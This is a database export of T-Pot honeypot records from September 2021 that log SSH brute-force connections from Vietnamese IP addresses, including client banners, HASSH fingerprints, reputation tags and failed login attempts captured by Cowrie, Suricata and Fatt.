"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23107	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:08.600533+03	2021-09-20 14:15:07.080472+03	{"_id": "dAbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "41c8f72263d6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:08.600533Z", "@timestamp": "2021-09-20T11:07:08.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23108	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.880508+03	2021-09-20 14:15:07.081472+03	{"_id": "dgbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "31664c5d17b2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:08.880508Z", "@timestamp": "2021-09-20T11:07:08.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23109	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.811349+03	2021-09-20 14:15:07.082471+03	{"_id": "YAbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "20b7e85ff2d9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:08.811349Z", "@timestamp": "2021-09-20T11:07:08.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23110	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:09.089768+03	2021-09-20 14:15:07.084472+03	{"_id": "jQbjAnwBvYTbRNuEZwdQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 487291610731885, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60092, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.089768Z", "@timestamp": "2021-09-20T11:07:09.089Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23111	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:09.851371+03	2021-09-20 14:15:07.085472+03	{"_id": "oQbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:34334 (192.168.176.2:22) [session: edf7e33fbfde]", "session": "edf7e33fbfde", "@version": "1", "protocol": "ssh", "src_port": 34334, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.851371Z", "@timestamp": "2021-09-20T11:07:09.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23112	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:09.077106+03	2021-09-20 14:15:07.086472+03	{"_id": "rgbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46752, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.077106", "@timestamp": "2021-09-20T11:07:09.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23113	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:09.622569+03	2021-09-20 14:15:07.087473+03	{"_id": "qgbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/qwerty] failed", "session": "3f85a6359bdd", "@version": "1", "password": "qwerty", "username": "admin", "timestamp": "2021-09-20T11:07:09.622569Z", "@timestamp": "2021-09-20T11:07:09.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23114	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:10.696414+03	2021-09-20 14:15:07.089472+03	{"_id": "uwbjAnwBvYTbRNuEawc5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 706246896135996, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40736, "dest_port": 22, "timestamp": "2021-09-20T11:07:10.696414Z", "@timestamp": "2021-09-20T11:07:10.696Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23149	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:09.867067+03	2021-09-20 14:15:07.132472+03	{"_id": "mAbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [james/james] failed", "session": "5c82696c63bc", "@version": "1", "password": "james", "username": "james", "timestamp": "2021-09-20T11:07:09.867067Z", "@timestamp": "2021-09-20T11:07:09.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23115	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:11.754154+03	2021-09-20 14:15:07.090473+03	{"_id": "5AbjAnwBvYTbRNuEbwci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 55430501831190, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60142, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.754154Z", "@timestamp": "2021-09-20T11:07:11.754Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23116	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:11.957604+03	2021-09-20 14:15:07.091472+03	{"_id": "6gbjAnwBvYTbRNuEcAeN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b804c76d0e87", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:11.957604Z", "@timestamp": "2021-09-20T11:07:11.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23117	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:11.476683+03	2021-09-20 14:15:07.092473+03	{"_id": "6wbjAnwBvYTbRNuEcAeQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:60142 (192.168.176.2:22) [session: 3e99a7cbb34b]", "session": "3e99a7cbb34b", "@version": "1", "protocol": "ssh", "src_port": 60142, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.476683Z", "@timestamp": "2021-09-20T11:07:11.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23118	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:11.600377+03	2021-09-20 14:15:07.093472+03	{"_id": "7AbjAnwBvYTbRNuEcAeQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33790 (192.168.176.2:22) [session: 01e882b3c60e]", "session": "01e882b3c60e", "@version": "1", "protocol": "ssh", "src_port": 33790, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.600377Z", "@timestamp": "2021-09-20T11:07:11.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23119	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:11.481712+03	2021-09-20 14:15:07.094472+03	{"_id": "8gbjAnwBvYTbRNuEcAeR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60142, "timestamp": "2021-09-20T11:07:11.481712", "@timestamp": "2021-09-20T11:07:11.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23120	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:11.75804+03	2021-09-20 14:15:07.096472+03	{"_id": "8wbjAnwBvYTbRNuEcAeR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60142, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.758040", "@timestamp": "2021-09-20T11:07:11.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
